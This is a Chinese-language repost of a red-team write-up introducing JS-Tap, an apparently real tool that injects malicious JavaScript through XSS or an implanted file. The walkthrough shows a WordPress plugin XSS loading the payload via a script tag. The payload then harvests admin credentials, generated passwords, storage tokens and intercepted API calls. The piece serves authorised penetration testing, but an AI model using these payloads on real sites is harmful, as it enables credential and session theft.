长亭百川云 - 文章详情

JS-Tap:为红队提供 JavaScript 武器

Ots安全

50

2024-07-25

如何使用恶意 JavaScript 攻击您一无所知的应用程序?

应用程序渗透测试人员经常创建自定义武器化 JavaScript 负载,以向客户展示潜在影响。根据客户的“关键技术”,文件可能被盗、权限可能被提升、账户可能被转移。

应用程序评估期间常见的身份验证访问简化了有效负载开发。渗透测试人员在开发有效负载时也已经知道需要什么样的请求和响应顺序才能实现特定目标。

红队面临着一系列不同的挑战和机遇,这些挑战和机遇通常不利于开发定制的 JavaScript 有效负载。自定义应用程序通常具有未知的功能,并且需要通用有效负载。除了 XSS 漏洞之外,红队还有机会引入恶意 JavaScript。

为了应对红队面临的独特挑战和机遇,我编写了JS-Tap,它提供了通用的 JavaScript 有效负载。此有效负载不需要事先了解应用程序,也不需要经过身份验证的用户来运行该有效负载。

JS-Tap 并不攻击应用服务器,而是专注于检测应用程序的客户端并为红队提取有用的信息。

收集的数据

  • 客户端 IP 地址、操作系统、浏览器

  • 输入的用户输入(凭证等)

  • 访问过的 URL

  • Cookie(未设置httponly标志)

  • 本地存储

  • 会话存储

  • 访问过的页面的 HTML 代码(如果启用了该功能)

  • 访问过的页面截图

  • XHR 和 Fetch 网络 API 调用的副本(如果启用了 monkeypatch 功能)

    网络呼叫端点

    方法(GET、POST 等)

    标头设置(包括授权标头)

    请求主体和响应主体

收集到的数据会显示在 JS-Tap 门户网站上——这是一个基于网络的应用程序,可以监控运行有效负载的客户端。

操作模式

JS-Tap 有效载荷有两种操作模式。

陷阱模式

陷阱模式通常是我们用作 XSS 负载的模式。XSS 负载的执行通常很短暂,因为查看恶意 JavaScript 负载运行的页面的用户可能会关闭浏览器选项卡(该页面不感兴趣)或导航到应用程序中的其他位置。在这两种情况下,负载都将从内存中删除并停止工作。JS-Tap 需要运行较长时间,否则将无法收集有用的数据。

陷阱模式通过使用iframe 陷阱技术建立持久性来解决这个问题。JS-Tap 有效负载将创建一个完整的页面 iframe,并将用户置于应用程序的其他位置。必须提前配置此起始页。

在陷阱模式下,JS-Tap 会监控 iframe 陷阱中用户的位置,并欺骗浏览器的地址栏以匹配 iframe 的位置。有关此技术的更多详细信息,请参阅上面链接的博客。

请注意,如果目标应用程序设置了 CSP 或 X-Frame-Options 标头,则必须允许来自同源或自身的 iframe。基于 JavaScript 的 framebusters 也可以阻止 iframe 陷阱工作。

植入模式

如果我们直接将有效载荷添加到目标应用程序中,则通常会使用植入模式。也许我们在应用程序服务器或托管应用程序 JavaScript 文件的服务器上有一个 shell。将有效载荷添加到整个应用程序使用的 JavaScript 文件(jQuery、main.js 等)。

理想的文件实际上取决于相关应用程序及其使用 JavaScript 文件的方式。植入模式不需要配置起始页,也不使用 iframe 陷阱技术。

JS-Tap 演练

为了演示 JS-Tap 的功能,我们可以从一个简单的 WordPress 示例开始。此 WordPress 演示站点使用了一个存在反射型 XSS 漏洞的插件。

图 1-WordPress 中的 XSS 漏洞

接下来,我们将启动 JS-Tap 服务器并接收登录门户的凭据。以下示例中的 JS-Tap 有效负载配置为陷阱模式,并将 WordPress 管理员登录门户设置为 iframe 陷阱起始页。

图 2-启动 JS-Tap 服务器

我们将在 JS-Tap 服务器上以下位置提供的示例中,用 JS-Tap 有效负载 (telemlib.js) 替换警报框概念验证 (PoC):

<script src='https://127.0.0.1:8444/lib/telemlib.js'></script>

用户打开以下 URL 将运行 JS-Tap 负载:

http://targetapp.localdemo/wp-content/plugins/sketchyPlugin/unauthXSS.php?param=

打开该 URL 时,用户会看到以下内容:

图 3 - 目标用户起始页

此页面在 iframe 陷阱中加载,地址栏中有一个欺骗性的位置。用户仍然在targetapp.localdemo/wp-content/plugins/sketchyPlugin/unauthXSS.php页面上,只要我们让他们继续在 iframe 陷阱中使用该应用程序,JS-Tap 有效负载就会继续运行并收集数据。

举个例子,假设管理员用户成为社会工程攻击的目标,该攻击要求他们登录 WordPress 网站,验证未使用特定插件,并为新员工设置管理员帐户。我们的目标遵循这些指示并登录。

图 4 - 目标用户登录

用户可以看到 WordPress 的管理仪表板。我们可以在右上角看到他们的用户名,以及与真实仪表板位置相匹配的欺骗地址栏位置。

图 5 - WordPress 仪表板

我们的目标现在访问插件页面,发现没有什么值得关注的。

图 6 - WordPress 插件

然后目标转向设置新的管理员帐户。

图 7 - WordPress 用户列表

目标设置了 newAdmin 帐户,而不是手动设置密码,而是使用默认生成的强密码,我们假设他们将该密码写下来并与 newAdmin 共享。

图 8 - newAdmin 用户设置

这足以让我们开始了解 JS-Tap 迄今为止从目标收集了哪些信息。在 JS-Tap 门户中,客户端将列在左侧,目前只有一个。

图 9 - JS-Tap 客户端

对于此客户端,我们可以看到其名称、首次出现的时间以及我们收到更新的时间。我们还可以看到其 IP 地址、平台和浏览器。在客户端框的右上角,我们可以看到为客户端加注星标的选项(可以对客户端列表进行排序和筛选)以及用于删除该客户端会话的“x”按钮。

当 JS-Tap 负载启动时,它会从 JS-Tap 服务器检索一个唯一标识符,该标识符用作会话标识符。如果客户端提供无用的数据,我们可以删除他们的会话,客户端将不再能够提交数据。

还有一个按钮可以添加客户特定的注释。

如果我们想阻止所有未来的客户端连接和接收会话,则可以使用应用程序顶部的应用程序设置选项禁用所有新会话。

选择客户端将在右侧显示 JS-Tap 有效负载捕获的事件的时间序列。

图 10 - 客户端事件

在前几个事件中,我们看到URL Visited,由于有效负载正在初始化,因此它被错误地设置为空白。第一个事件通常是不正确的。

接下来我们来看看Cookie和本地存储事件。JS-Tap 会跟踪 cookie、本地和会话存储。当它第一次在这些存储位置看到值时,它会报告这些值。然后 JS-Tap 将监视这些值,如果它们在任何时候发生变化,我们将收到一个包含更新值的新事件。

WordPress 使用 cookie 进行身份验证,但会话 cookie 上正确设置了httponly标志。这告诉浏览器 JavaScript(JS-Tap 就是用它编写的)不允许读取或写入 cookie 值。因此不幸的是,在这种情况下 JS-Tap 将无法窃取会话。

许多应用程序和 API 使用令牌进行身份验证。如果这些令牌在标头或请求正文中发送,则浏览器不会像 Cookie 一样自动包含它们。这意味着必须通过 JavaScript 手动将它们包含在请求中,这样 JS-Tap 才能从存储中读取这些值。我们稍后会看到一个例子。

我们可以继续向下滚动来查看更多事件。

图 11 - 客户端事件

在这里我们看到HTML Scraped事件、正确设置的URL Visited事件以及我们的第一个Screenshot Captured事件。

可以使用基本查看器在 JS-Tap 门户中直接查看从访问的 URL 抓取的 HTML,但最好下载 HTML 文件并在您喜欢的文本编辑器中查看源代码着色。

图 12-抓取的 HTML 代码查看器

可以单击屏幕截图并在其自己的选项卡中打开以放大查看详细信息。从第一个屏幕截图中我们可以看到用户正在查看管理员登录门户,这并不奇怪,因为我们将其设置为 iframe 陷阱的起始页。

虽然无法捕获 WordPress 会话 cookie,但 JS-Tap 正在捕获用户输入,因此下一组事件包括我们在其中捕获其凭据的用户输入事件。

图 13 - 捕获用户凭证

我们获得了第一批实实在在的战利品,可以将这些凭证复制并粘贴到客户笔记中。

图 14 - 在客户端注释中保存用户凭证

当我们继续浏览客户端事件时,我们终于看到了第一个有趣的截图。

图 15 - WordPress 管理仪表板截图

通过查看此屏幕截图,我们可以确认我们的用户是管理员,因为这是 WordPress 仪表板的管理员视图。在对大量客户进行分类时,屏幕截图可能有助于确定客户的用户角色。我们可以根据最有用的特定事件过滤右侧的事件列表。

图 16 - 事件过滤

继续观察事件,我们最终看到了用户列表截图。

图 17 - 用户列表

如果 JS-Tap 门户中的屏幕截图难以阅读,可以单击它们以打开完整的选项卡视图。

从该用户列表截图中,我们可以确认系统中只有一个用户,并且他们确实是管理员角色。

在事件列表中进一步向下滚动,我们会看到一个新的用户页面,其中有一个需要填写的表格。

图 18 — 新用户表单

下一系列事件是用户输入事件,其中包括有关新用户帐户的信息。

图 19 - 新用户输入

我们看不到这个新用户的密码。这是因为我们的目标没有为新用户输入密码,他们使用了 WordPress 自动生成的安全密码。让我们通过选择新用户表单屏幕截图并打开全尺寸视图来仔细查看它。

图 20 - 放大新用户表单

我们可以看到与捕获的用户输入相匹配的必填字段,但查看密码区域,我们发现有生成密码和隐藏密码的选项。如果 WordPress 向我们的目标显示生成的密码,则该密码一定位于网页本身中。我们可以在事件列表中向后滚动并下载与此页面匹配的抓取 HTML 代码并搜索此密码。

图 21 - 新用户表单的 HTML 代码

图 22 - 新用户表单源代码

这个 HTML 文件中有相当多的源代码,但如果我们返回到我们的新用户表单屏幕截图,我们会看到在我们感兴趣的区域中有一个生成密码按钮。如果我们在源代码中搜索该按钮标签,它应该会让我们非常接近我们想要的战利品。

果然,我们在 HTML 源代码中找到了新管理员帐户的密码。

图 23 - 新用户表单源代码

我们现在可以将第二个管理员帐户添加到我们的客户记录中。

图 24 — 两个管理员账户

这涵盖了 JS-Tap 能够收集的大部分内容。让我们从 WordPress 转向另一种风格的 Web 应用程序。

如今,许多网络应用程序都是动态的,可以实时更新其显示的内容,而无需用户刷新页面或导航到应用程序中的其他位置。

应用程序之所以能够做到这一点,是因为 JavaScript 能够在后台建立网络连接。借助这些网络连接,JavaScript 能够将数据发送到应用服务器并检索新数据。必要时,JavaScript 可以更新正在查看的页面的 HTML 以显示新信息。

JavaScript 提供了两个用于建立网络连接的主要 API:较旧的 XMLHttpRequest (XHR) API 和较新的 Fetch API。许多开发人员使用 jQuery 来简化 JavaScript 编码,该库还提供网络功能。然而,jQuery 的网络功能只是 XHR API 之上的抽象。

JavaScript 的两个怪癖与下一组 JS-Tap 功能有关。一个是 XHR 和 Fetch API 呈现给 JavaScript 开发人员,就像它们是普通的 JavaScript 对象一样,就像任何其他开发人员定义的对象一样。

另一个怪癖是 JavaScript 支持 monkeypatching,这意味着 JavaScript 代码可以在运行时被其他 JavaScript 代码重写。

不幸的是,这意味着恶意 JavaScript 负载(例如利用 XSS 漏洞的负载)不仅可以重写目标应用程序的客户端逻辑,还可以重写其底层的网络实现。

下一个应用程序是我创建的演示应用程序,旨在帮助开发 JS-Tap 有效负载。

图 25 - Monkeypatch Lab 应用程序

这个简单的应用程序实现了三种不同的网络方法来检索问题的三个不同答案并更新页面显示。

还有一个按钮用于注入 JS-Tap 有效负载,模拟漏洞利用。在注入有效负载之前,我们需要对 JS-Tap 有效负载进行一些配置更改。首先,我们需要设置不同的 iframe 陷阱起始页——不同的应用程序,不同的起始页。由于这是一个单页应用程序,因此选择非常简单。

图 26 - JS-Tap Payload 中的新起始页设置

我们还想启用更多选项。首先,我们需要启用 monkeypatch API 功能。启用此功能后,JS-Tap 有效负载将在启动时找到 XHR 和 Fetch API 实现并对其进行修改。

图 27 - 启用网络 API 的 Monkeypatching

默认情况下,JS-Tap 会在页面路径发生变化时截取屏幕截图。此演示应用程序从不改变其路径,这意味着只会截取第一个屏幕截图。

一个可选设置将告诉 JS-Tap 在进行网络 API 调用后几毫秒内截取屏幕截图,大概是为了检索可能显示在页面上的新数据。

图 28 - 网络呼叫后截图设置

我们应该能够将 JS-Tap 有效负载注入到我们的 monkeypatch 应用程序中,并进行所有三个网络调用。

图 29 - 三次网络调用均已完成

回到 JS-Tap 门户,我们现在在列表中看到一个新客户。

图 30 — Monkeypatch 客户端

选择这个新客户端将显示捕获的事件。演示应用程序不使用 cookie 进行身份验证,而是使用带有秘密令牌值的授权标头。此秘密令牌存储在本地存储中,我们在下面的屏幕截图中看到了从本地存储中捕获的这个秘密值。

图 31 - API 授权令牌

我们可以将此秘密令牌添加到我们的客户笔记中。

图 32 - 客户端注释中保存的 API 授权令牌

进一步向下滚动客户端事件列表,我们开始看到从 API 调用中提取的数据。我们的 monkeypatched API 进行的第一个 API 调用使用的是 XHR API。我们从 API 调用中捕获了四个项目:

  • API 调用端点和方法

  • 正在设置 API 调用标头

  • 请求正文Request body

  • 响应正文

图 33 - XHR API 事件

我们可以看到 API 调用将到达的端点 ( /api/xhrAnswer ) 以及所用方法。方法通常是 GET 或 POST。

接下来,我们看到为 API 调用设置的标头。我们之所以捕获标头,是因为授权令牌通常作为 API 调用中的标头发送。果然,我们看到授权令牌的副本被设置为标头。

最后,我们来看看实际的 XHR API 调用本身。选择“查看 API 调用”按钮将并排显示请求和响应主体。

图 34 — API 调用查看器

接下来,我们得到了略微延迟的屏幕截图,该屏幕截图捕获了 API 调用之后的应用程序。我们看到响应主体中的数据现在显示在应用程序中。

图 35 - 延迟 API 调用屏幕截图

继续向下滚动,我们会看到 Fetch API 拦截。虽然这两个 API 之间的 monkeypatching 技术相当不同,但提取的数据是相似的,并且以类似的方式呈现在 JS-Tap 门户中。

图 36 - 获取 API 调用事件

我们在截图中看到页面现在显示答案“绝对是维吉麦”,我们可以确认这是来自服务器的 Fetch API 调用响应。

图 37 - 获取 API 调用响应

向下滚动到最后一组事件,我们会看到又一轮 XHR API 事件。然而,仔细检查后,我们发现 API 调用将转到/api/jqueryAnswer端点。这是在 XHR API 级别被拦截的 jQuery 网络调用。

图 38 - 拦截 jQuery API 调用

现在我们已经为这两个客户提取了战利品,我们可以将所有客户记录导出为一个文件。

图 39 — 查看所有注释

图 40 — 导出所有客户备注

这涵盖了 JS-Tap 第一个版本中实现的功能。我希望这个工具能够为希望使用 JavaScript 负载攻击 Web 应用程序的红队成员提供一些基本功能。

我可能不会在渗透测试中经常使用这种方法,因为我更喜欢创建定制的有效载荷,以展示对客户应用程序的最大潜在影响。然而,这些有效载荷的开发通常只有在了解应用程序本身的内部知识的情况下才有可能。

如果您有问题或想法可以改进,我的 DM 随时开放。@hoodoer。

https://github.com/hoodoer/JS-Tap(JS-Tap存储库)

感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2